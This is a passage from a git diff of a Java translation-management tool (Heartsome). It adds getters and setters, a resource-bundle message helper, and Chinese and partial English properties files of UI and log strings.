} + + public void setSrcPureText(String srcPureText) { + this.srcPureText = srcPureText; + } + + public String getSrcContent() { + return srcContent; + } + + public void setSrcContent(String srcContent) { + this.srcContent = srcContent; + } + + public String getTagStr() { + return tagStr; + } + + public void setTagStr(String tagStr) { + this.tagStr = tagStr; + } + + public String getPreHash() { + return preHash; + } + + public void setPreHash(String preHash) { + this.preHash = preHash; + } + + public String getNextHash() { + return nextHash; + } + + public void setNextHash(String nextHash) { + this.nextHash = nextHash; + } + + public int getSrcLength() { + return srcLength; + } + + public void setSrcLength(int srcLength) { + this.srcLength = srcLength; + } + + public boolean isLocked() { + return isLocked; + } + + public void setLocked(boolean isLocked) { + this.isLocked = isLocked; + } + + public int getThisMatchRate() { + return thisMatchRate; + } + + public void setThisMatchRate(int thisMatchRate) { + if (thisMatchRate > this.thisMatchRate) { + this.thisMatchRate = thisMatchRate; + } + } +} diff --git a/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/Messages.java b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/Messages.java new file mode 100644 index 0000000..7c0647f --- /dev/null +++ b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.core.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.core.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message.properties b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message.properties new file mode 100644 index 0000000..dc93d8a --- /dev/null +++ b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message.properties @@ -0,0 +1,155 @@ +core.ValidationUtils.msg1 = \u8bf7\u8f93\u5165\u9879\u76ee\u540d\u79f0 +core.ValidationUtils.msg2 = \u9879\u76ee\u540d\u79f0\u4e0d\u80fd\u8d85\u8fc7 20 \u4e2a\u5b57 +core.ValidationUtils.msg6 = \u8bf7\u8f93\u5165\u5408\u6cd5\u7684\u7535\u5b50\u90ae\u7bb1\u5730\u5740 + +file.ProjectConfiger.logger1 = [LOG] \u4fdd\u5b58\u9879\u76ee\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.ProjectConfiger.logger2 = [LOG] \u83b7\u53d6\u9879\u76ee\u672f\u8bed\u5e93\u5931\u8d25 +file.ProjectConfiger.logger3 = [LOG] \u83b7\u53d6\u9879\u76ee\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfiger.logger4 = [LOG] \u83b7\u53d6\u9879\u76ee\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfiger.logger5 = [LOG] \u83b7\u53d6\u9879\u76ee\u53c2\u8003\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfigerFactory.logger1 = [LOG] \u521b\u5efa\u9879\u76ee\u914d\u7f6e\u6587\u4ef6\u5931\u8d25\uff1a +file.RowIdUtil.msg1 = \u7a0b\u5e8f\u51fa\u73b0\u5185\u90e8\u9519\u8bef\uff0c\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u7a0b\u5e8f\u3002\n\u82e5\u8be5\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u9519\u8bef\u65e5\u5fd7\u6587\u4ef6\u4f9b\u5206\u6790\u3002 +file.RowIdUtil.logger1 = [LOG] \u5f53\u524d\u7684 VTDNav \u5bf9\u8c61\u5fc5\u987b\u5148\u5b9a\u4f4d\u5230 trans-unit \u8282\u70b9\uff0c\u624d\u80fd\u6267\u884c\u6b64\u64cd\u4f5c +file.RowIdUtil.logger2 = [LOG] \u627e\u4e0d\u5230 file \u8282\u70b9\uff0c\u53ef\u80fd\u662f\u4e0d\u5408\u6cd5\u7684 Xliff \u6587\u4ef6\u6240\u81f4\uff01 +file.RowIdUtil.logger3 = [LOG] RowId: "{0}" \u683c\u5f0f\u9519\u8bef +file.TSFileHandler.logger1 = [LOG] \u4ef6\u4e0d\u5b58\u5728\u3002\u5173\u95ed\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger2 = [LOG] {0} \u6587\u4ef6\u5df2\u4fee\u6539\uff0c\u662f\u5426\u4fdd\u5b58\u6240\u505a\u7684\u4fee\u6539\uff1f +file.TSFileHandler.logger3 = [LOG] \u6e05\u9664 {0} \u6587\u4ef6\u7684\u4e34\u65f6\u6587\u4ef6\u5931\u8d25\uff0c\u5176\u4e34\u65f6\u6587\u4ef6\u8def\u5f84\u662f {1} +file.TSFileHandler.logger4 = [LOG] \u5173\u95ed\u591a\u4e2a\u6587\u4ef6\u5931\u8d25\u3002\u8bf7\u6307\u5b9a\u81f3\u5c11\u4e00\u4e2a\u6587\u4ef6\u3002 +file.TSFileHandler.logger5 = [LOG] \u6587\u4ef6\u4e0d\u5b58\u5728\u3002\u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger6 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u521b\u5efa\u4e34\u65f6\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger7 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u89e3\u7801\u51fa\u9519\u3002 +file.TSFileHandler.logger8 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger9 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +file.TSFileHandler.logger10 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u4f7f\u7528 XPath \u53d6\u503c\u5931\u8d25\u3002 +file.TSFileHandler.logger11 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u8bbf\u95ee XML \u5931\u8d25\u3002 +file.TSFileHandler.logger12 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\uff0c\u89e3\u6790 XPath \u5931\u8d25\u3002 +file.TSFileHandler.logger13 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 +file.TSFileHandler.logger14 = [LOG] \u6253\u5f00\u6587\u4ef6\u6210\u529f\u3002\u8017\u65f6 {} \u5206\uff0c{} \u79d2\uff0c{} \u6beb\u79d2\u3002 +file.TSFileHandler.logger15 = [LOG] \u6253\u5f00\u591a\u4e2a\u6587\u4ef6\u5931\u8d25\u3002\u8bf7\u6307\u5b9a\u81f3\u5c11\u4e00\u4e2a\u6587\u4ef6\u3002 +file.TSFileHandler.logger16 = [LOG] \u6e90\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +file.TSFileHandler.logger17 = [LOG] \u76ee\u6807\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +file.TSFileHandler.logger18 = [LOG] \u4fdd\u5b58\u6587\u4ef6 {0} \u65f6\uff0c\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger19 = [LOG] \u4fdd\u5b58\u6587\u4ef6 {0} \u4e3a {1} \u65f6\uff0c\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger20 = [LOG] \u4fdd\u5b58\u6587\u4ef6\u6210\u529f\u3002 +file.TSFileHandler.logger21 = [LOG] \u6587\u4ef6\u672a\u627e\u5230\uff0c\u5206\u6790\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger22 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\u3002{0} \u4e0d\u662f XLIFF \u6587\u4ef6\u6216\u9879\u76ee\u6587\u4ef6\u3002 +file.TSFileHandler.logger23 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\u3002\u83b7\u53d6 {0} \u6587\u4ef6\u5185\u5bb9\u51fa\u9519\u3002 +file.TSFileHandler.logger24 = [LOG] \u751f\u6210\u5206\u6790\u62a5\u544a\u51fa\u9519\u3002 +file.TSFileHandler.logger25 = [LOG] \u56e0\u4f7f\u7528\u4e0d\u652f\u6301\u7684\u5b57\u7b26\u96c6\u5bfc\u81f4\u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger26 = [LOG] \u56e0\u5b57\u7b26\u8f6c\u6362\u9519\u8bef\u5bfc\u81f4\u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger27 = [LOG] \u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger28 = [LOG] \u89e3\u6790 {0} \u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.analysisStatus = \u72b6\u6001\u5206\u6790 +file.TSFileHandler.analysisTranslatorProgress = \u7ffb\u8bd1\u8fdb\u5ea6 +file.TSFileHandler.translatedSegs = \u5df2\u7ffb\u8bd1 +file.TSFileHandler.untranslatedSegs = \u672a\u7ffb\u8bd1 +file.TSFileHandler.percent1 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.total1 = \u603b\u6570 +file.TSFileHandler.translatedWords = \u5df2\u7ffb\u8bd1 +file.TSFileHandler.untranslatedWords = \u672a\u7ffb\u8bd1 +file.TSFileHandler.percent2 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.total2 = \u603b\u6570 +file.TSFileHandler.analysisEditorProgress = \u7f16\u8f91\u8fdb\u5ea6 +file.TSFileHandler.approvedSegs = \u5df2\u6279\u51c6 +file.TSFileHandler.unapprovedSegs = \u672a\u6279\u51c6 +file.TSFileHandler.percent1 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.approvedWords = \u5df2\u6279\u51c6 +file.TSFileHandler.unapprovedWords = \u672a\u6279\u51c6 +file.TSFileHandler.percent2 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.logger29 = [LOG] {0} \u6587\u4ef6\u5df2\u4fee\u6539\uff0c\u662f\u5426\u4fdd\u5b58\u4fee\u6539\u540e\u518d\u8fdb\u884c\u5206\u6790\uff1f +file.XLFHandler.filterAll = \u6240\u6709\u6587\u672c\u6bb5 +file.XLFHandler.filterLocked = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5 +file.XLFHandler.filterUnlocked = \u672a\u9501\u5b9a\u6587\u672c\u6bb5 +file.XLFHandler.filterReview = \u7591\u95ee\u6587\u672c\u6bb5 +file.XLFHandler.filterSendToTM = \u4e0d\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93\u6587\u672c\u6bb5 +file.XLFHandler.filterNote = \u5e26\u6279\u6ce8\u6587\u672c\u6bb5 +file.XLFHandler.filterNull = \u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +file.XLFHandler.filterNew = \u8349\u7a3f\u6587\u672c\u6bb5 +file.XLFHandler.filterTranslated = \u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5 +file.XLFHandler.filterUntranslated = \u7ffb\u8bd1\u672a\u5b8c\u6210\u6587\u672c\u6bb5 +file.XLFHandler.filterApproved = \u5df2\u6279\u51c6\u6587\u672c\u6bb5 +file.XLFHandler.filterUnapproved = \u672a\u6279\u51c6\u6587\u672c\u6bb5 +file.XLFHandler.filterSignedOff = \u5df2\u7b7e\u53d1\u6587\u672c\u6bb5 +file.XLFHandler.filterUnsignedOff = \u672a\u7b7e\u53d1\u6587\u672c\u6bb5 +file.XLFHandler.filterRepeat = \u91cd\u590d\u6587\u672c\u6bb5 +file.XLFHandler.filterMatch101 = \u4e0a\u4e0b\u6587\u5339\u914d\u6587\u672c\u6bb5 +file.XLFHandler.filterMatch100 = \u5b8c\u5168\u5339\u914d\u6587\u672c\u6bb5 +file.XLFHandler.filterMatchlt100 = \u6a21\u7cca\u5339\u914d\u6587\u672c\u6bb5 +file.XLFHandler.differTaget = \u8bd1\u6587\u4e0d\u4e00\u81f4\u6587\u672c\u6bb5 +file.XLFHandler.task1 = \u6253\u5f00\u6587\u4ef6... +file.XLFHandler.logger1 = \u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u5b83\u53ef\u80fd\u5df2\u6539\u540d\u6216\u5df2\u5220\u9664\u3002 +file.XLFHandler.task2 = \u6b63\u5728\u6253\u5f00\u6587\u4ef6 {0} ... +file.XLFHandler.msg1 = \u5df2\u53d6\u6d88\u6253\u5f00\u6587\u4ef6\u3002 +file.XLFHandler.msg2 = \u6587\u4ef6 {0} \u4e0d\u7b26\u5408 XLIFF \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +file.XLFHandler.logger2 = [LOG] XPath \u4e0d\u6b63\u786e\uff0c\u521d\u59cb\u5316\u7ffb\u8bd1\u5355\u5143\u6570\u91cf\u5931\u8d25\u3002 +file.XLFHandler.logger3 = [LOG] \u89e3\u6790\u6587\u4ef6{0}\u51fa\u9519\u3002 +file.XLFHandler.logger4 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +file.XLFHandler.logger5 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u4f7f\u7528 XPath \u53d6\u503c\u5931\u8d25\u3002 +file.XLFHandler.logger6 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u8bbf\u95ee XML \u5931\u8d25\u3002 +file.XLFHandler.logger7 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\uff0c\u89e3\u6790 XPath \u5931\u8d25\u3002 +file.XLFHandler.logger8 = [LOG] \u6587\u4ef6\u4fdd\u5b58\u5931\u8d25 +file.XLFHandler.logger9 = [LOG] \u53c2\u6570 subXPath \u6709\u8bef\uff01\u8981\u6c42\u4e3a\u5b9a\u4f4d\u5230\u5c5e\u6027\u7684 XPath\u3002 +file.XLFHandler.logger10 = [LOG] \u83b7\u53d6\u91cd\u590d\u6587\u672c\u6bb5\u5931\u8d25\u3002 +file.XLFHandler.logger11 = [LOG] \u89e3\u6790 XPath \u5931\u8d25\u3002 +file.XLFHandler.logger12 = [LOG] \u6267\u884c XPath \u5931\u8d25\u3002 +file.XLFHandler.logger13 = [LOG] \u4fee\u6539\u6587\u4ef6\u5931\u8d25\u3002 +file.XLFHandler.logger14 = [LOG] \u4e0d\u88ab\u652f\u6301\u7684\u7f16\u7801\u3002 +file.XLFHandler.msg3 = \u6267\u884c\u64cd\u4f5c\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\uff1a +file.XLFHandler.task3 = \u751f\u6210 TMX \u6587\u4ef6... +file.XLFHandler.task4 = \u6b63\u5728\u5c06\u7ffb\u8bd1\u5355\u5143\u5bfc\u5165\u5230\u5e93\u4e2d... +file.XLFHandler.task5 = \u6b63\u5728\u53d6\u6d88\u6267\u884c... +file.XLFHandler.logger15 = [LOG] \u6dfb\u52a0\u6587\u672c\u6bb5\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger16 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger17 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6 {0} \u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.msg4 = \u8bfb\u53d6\u8be5\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff1a +file.XLFHandler.logger18 = [LOG] \u83b7\u53d6\u6700\u7ec8\u5206\u5272\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger19 = [LOG] \u9501\u5b9a\u7ffb\u8bd1\u5355\u5143\u51fa\u9519 +file.XLPHandler.msg1 = \u8bf7\u9009\u62e9\u9879\u76ee\u3002 +file.XLPHandler.msg2 = \u672a\u627e\u5230\u5982\u4e0b\u9879\u76ee\u914d\u7f6e\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\uff1a\n{0} +file.XLPHandler.logger1 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 + +qa.FAModel.WordsFA = \u5b57\u6570\u5206\u6790 +qa.FAModel.TranslationProgressFA = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.FAModel.EditProgressFA = \u7f16\u8f91\u8fdb\u5ea6\u5206\u6790 +qa.QAConstant.startChar = \u9996\u5b57\u6bcd +qa.QAConstant.endChar = \u672b\u5b57\u6bcd +qa.QAConstant.startAndEndChar = \u9996\u672b\u5b57\u6bcd +qa.QAConstant.preChar = \u524d\u4e00\u5b57\u7b26 +qa.QAConstant.lastChar = \u540e\u4e00\u5b57\u7b26 +qa.QAConstant.preAndLastChar = \u524d\u540e\u5b57\u7b26 +qa.QAConstant.allChar = \u6240\u6709\u5b57\u6bcd +qa.QAConstant.eq = \u7b49\u4e8e +qa.QAConstant.neq = \u4e0d\u7b49\u4e8e +qa.QAConstant.space = \u7a7a\u683c +qa.QAConstant.comma = \u9017\u53f7 +qa.QAConstant.upper = \u5927\u5199 +qa.QAConstant.lower = \u5c0f\u5199 +qa.QAConstant.expand = \u5355\u51fb\u5c55\u5f00\u8be5\u6587\u4ef6\u5939 +qa.QAConstant.collapse = \u5355\u51fb\u6536\u8d77\u8be5\u6587\u4ef6\u5939 +qa.QAXmlHandler.task1 = \u6b63\u5728\u6253\u5f00\u6587\u4ef6 {0} ... +qa.QAXmlHandler.logger1 = [LOG] XPath \u4e0d\u6b63\u786e\uff0c\u521d\u59cb\u5316\u7ffb\u8bd1\u5355\u5143\u6570\u91cf\u5931\u8d25\u3002 +qa.QAXmlHandler.logger2 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 +qa.QAXmlHandler.msg1 = \u8bfb\u53d6\u8be5\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff1a +qa.QAXmlHandler.logger3 = [LOG] \u6587\u4ef6\u4fdd\u5b58\u5931\u8d25 +qa.QAXmlHandler.logger4 = [LOG] \u6587\u4ef6 "{0}" \u5199\u5165\u5931\u8d25 +qa.QAXmlHandler.logger5 = [LOG] \u6587\u4ef6 "{0}" \u8bfb\u5199\u5f02\u5e38 +qa.QAXmlHandler.logger6 = [LOG] \u6587\u4ef6 "{0}" \u5237\u65b0\u5f02\u5e38 +qa.QAXmlHandler.logger7 = [LOG] VTDUtils \u5b9e\u4f8b\u521b\u5efa\u5931\u8d25\uff0c\u65e0\u6cd5\u5b9a\u4f4d +qa.QAXmlHandler.logger8 = [LOG] Xpath \u9519\u8bef\uff0c\u65e0\u6cd5\u89e3\u6790\uff0c\u7ffb\u8bd1\u6587\u672c\u6bb5\u603b\u6570\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger9 = [LOG] Xpath \u9519\u8bef\uff0c\u65e0\u6cd5\u89e3\u6790\uff01 +qa.QAXmlHandler.logger10 = [LOG] Xpath \u5b9a\u4f4d\u8bed\u53e5\u9519\u8bef\uff01\u65e0\u6cd5\u5b9a\u4f4d\u3002 +qa.QAXmlHandler.logger11 = [LOG] VTDUtils \u5b9e\u4f8b\u51fa\u9519\uff01 +qa.QAXmlHandler.logger12 = [LOG] \u7eaf\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger13 = [LOG] \u7ffb\u8bd1\u8282\u70b9\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger14 = [LOG] \u5b50\u8282\u70b9\u7eaf\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger15 = [LOG] \u6e90\u6587\u672c\u6bb5\u5185\u5bb9\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger16 = [LOG] \u8282\u70b9\u5185\u5bb9\u83b7\u53d6\u9519\u8bef +qa.QAXmlHandler.logger17 = [LOG] \u8282\u70b9\u5c5e\u6027\u83b7\u53d6\u9519\u8bef +qa.QAXmlHandler.logger18 = [LOG] \u7ffb\u8bd1\u8282\u70b9\u6807\u7b7e\u83b7\u53d6\u5f02\u5e38 +qa.QAXmlHandler.logger19 = [LOG] \u975e\u8bd1\u5143\u7d20\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger20 = [LOG] \u975e\u8bd1\u5143\u7d20\u6b63\u5219\u8868\u8fbe\u5f0f\u914d\u7f6e\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger21 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +qa.QAXmlHandler.logger22 = [LOG] \u7ffb\u8bd1\u5355\u5143\u9501\u5b9a\u5931\u8d25 +qa.QAXmlHandler.logger23 = [LOG] \u6587\u4ef6 {0} \u7ffb\u8bd1\u8fdb\u5ea6\u67e5\u8be2\u5931\u8d25 +qa.QAXmlHandler.logger24 = [LOG] \u6587\u4ef6 {0} \u7f16\u8f91\u8fdb\u5ea6\u67e5\u8be2\u5931\u8d25 diff --git a/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message_en.properties b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message_en.properties new file mode 100644 index 0000000..0d4d192 --- /dev/null +++ b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message_en.properties @@ -0,0 +1,155 @@ +core.ValidationUtils.msg1 = Please enter a name for the project. +core.ValidationUtils.msg2 = The project name cannot be more than 20 characters. +core.ValidationUtils.msg6 = Please enter a valid email address. + +file.ProjectConfiger.logger1 = [LOG] \u4fdd\u5b58\u9879\u76ee\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.ProjectConfiger.logger2 = [LOG] \u83b7\u53d6\u9879\u76ee\u672f\u8bed\u5e93\u5931\u8d25 +file.ProjectConfiger.logger3 = [LOG] \u83b7\u53d6\u9879\u76ee\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfiger.logger4 = [LOG] \u83b7\u53d6\u9879\u76ee\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfiger.logger5 = [LOG] \u83b7\u53d6\u9879\u76ee\u53c2\u8003\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfigerFactory.logger1 = [LOG] \u521b\u5efa\u9879\u76ee\u914d\u7f6e\u6587\u4ef6\u5931\u8d25\uff1a +file.RowIdUtil.msg1 = An internal error has occurred. Please restart the program.\nIf the problem is not solved, please contact Heartsome technical support and provide the error log file for analysis. +file.RowIdUtil.logger1 = [LOG] \u5f53\u524d\u7684 VTDNav \u5bf9\u8c61\u5fc5\u987b\u5148\u5b9a\u4f4d\u5230 trans-unit \u8282\u70b9\uff0c\u624d\u80fd\u6267\u884c\u6b64\u64cd\u4f5c +file.RowIdUtil.logger2 = [LOG] \u627e\u4e0d\u5230 file \u8282\u70b9\uff0c\u53ef\u80fd\u662f\u4e0d\u5408\u6cd5\u7684 Xliff \u6587\u4ef6\u6240\u81f4\uff01 +file.RowIdUtil.logger3 = [LOG] RowId: "{0}" format error +file.TSFileHandler.logger1 = [LOG] \u4ef6\u4e0d\u5b58\u5728\u3002Failed to close the file. +file.TSFileHandler.logger2 = [LOG] {0} \u6587\u4ef6\u5df2\u4fee\u6539\uff0c\u662f\u5426\u4fdd\u5b58\u6240\u505a\u7684\u4fee\u6539\uff1f +file.TSFileHandler.logger3 = [LOG] \u6e05\u9664 {0} \u6587\u4ef6\u7684\u4e34\u65f6\u6587\u4ef6\u5931\u8d25\uff0c\u5176\u4e34\u65f6\u6587\u4ef6\u8def\u5f84\u662f {1} +file.TSFileHandler.logger4 = [LOG] \u5173\u95ed\u591a\u4e2a\u6587\u4ef6\u5931\u8d25\u3002Please select at least one file. +file.TSFileHandler.logger5 = [LOG] \u6587\u4ef6\u4e0d\u5b58\u5728\u3002Failed to open the file. +file.TSFileHandler.logger6 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u521b\u5efa\u4e34\u65f6\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger7 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u89e3\u7801\u51fa\u9519\u3002 +file.TSFileHandler.logger8 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger9 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +file.TSFileHandler.logger10 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u4f7f\u7528 XPath \u53d6\u503c\u5931\u8d25\u3002 +file.TSFileHandler.logger11 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u8bbf\u95ee XML \u5931\u8d25\u3002 +file.TSFileHandler.logger12 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\uff0c\u89e3\u6790 XPath \u5931\u8d25\u3002 +file.TSFileHandler.logger13 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 +file.TSFileHandler.logger14 = [LOG] \u6253\u5f00\u6587\u4ef6\u6210\u529f\u3002It takes {} minutes\uff0c{} seconds\uff0c{} millisecond. +file.TSFileHandler.logger15 = [LOG] \u6253\u5f00\u591a\u4e2a\u6587\u4ef6\u5931\u8d25\u3002Please select at least one file. +file.TSFileHandler.logger16 = [LOG] \u6e90\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +file.TSFileHandler.logger17 = [LOG] \u76ee\u6807\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +file.TSFileHandler.logger18 = [LOG] \u4fdd\u5b58\u6587\u4ef6 {0} \u65f6\uff0c\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger19 = [LOG] \u4fdd\u5b58\u6587\u4ef6 {0} \u4e3a {1} \u65f6\uff0c\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger20 = [LOG] \u4fdd\u5b58\u6587\u4ef6\u6210\u529f\u3002 +file.TSFileHandler.logger21 = [LOG] \u6587\u4ef6\u672a\u627e\u5230\uff0c\u5206\u6790\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger22 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\u3002{0} is neither an XLIFF file nor a project file. +file.TSFileHandler.logger23 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\u3002An error occured when loading the file {0}. +file.TSFileHandler.logger24 = [LOG] \u751f\u6210\u5206\u6790\u62a5\u544a\u51fa\u9519\u3002 +file.TSFileHandler.logger25 = [LOG] \u56e0\u4f7f\u7528\u4e0d\u652f\u6301\u7684\u5b57\u7b26\u96c6\u5bfc\u81f4\u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger26 = [LOG] \u56e0\u5b57\u7b26\u8f6c\u6362\u9519\u8bef\u5bfc\u81f4\u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger27 = [LOG] \u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger28 = [LOG] \u89e3\u6790 {0} \u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.analysisStatus = Status analysis +file.TSFileHandler.analysisTranslatorProgress = Translation Progress +file.TSFileHandler.translatedSegs = Translated +file.TSFileHandler.untranslatedSegs = Untranslated +file.TSFileHandler.percent1 = Completion percentage +file.TSFileHandler.total1 = Sum +file.TSFileHandler.translatedWords = Translated +file.TSFileHandler.untranslatedWords = Untranslated +file.TSFileHandler.percent2 = Completion percentage +file.TSFileHandler.total2 = Sum +file.TSFileHandler.analysisEditorProgress = Editing Progress +file.TSFileHandler.approvedSegs = Approved +file.TSFileHandler.unapprovedSegs = Unapproved +file.TSFileHandler.percent1 = Completion percentage +file.TSFileHandler.approvedWords = Approved +file.TSFileHandler.unapprovedWords = Unapproved +file.TSFileHandler.percent2 = Completion percentage +file.TSFileHandler.logger29 = [LOG] {0} \u6587\u4ef6\u5df2\u4fee\u6539\uff0c\u662f\u5426\u4fdd\u5b58\u4fee\u6539\u540e\u518d\u8fdb\u884c\u5206\u6790\uff1f +file.XLFHandler.filterAll = All Segments +file.XLFHandler.filterLocked = Locked +file.XLFHandler.filterUnlocked = Unlocked +file.XLFHandler.filterReview = Pending +file.XLFHandler.filterSendToTM = Not Send to TM +file.XLFHandler.filterNote = Segments with Comments +file.XLFHandler.filterNull = Untranslated +file.XLFHandler.filterNew = Draft +file.XLFHandler.filterTranslated = Translated +file.XLFHandler.filterUntranslated = Unfinished +file.XLFHandler.filterApproved = Approved +file.XLFHandler.filterUnapproved = Unapproved +file.XLFHandler.filterSignedOff = Signed-off +file.XLFHandler.filterUnsignedOff = Not Signed-off 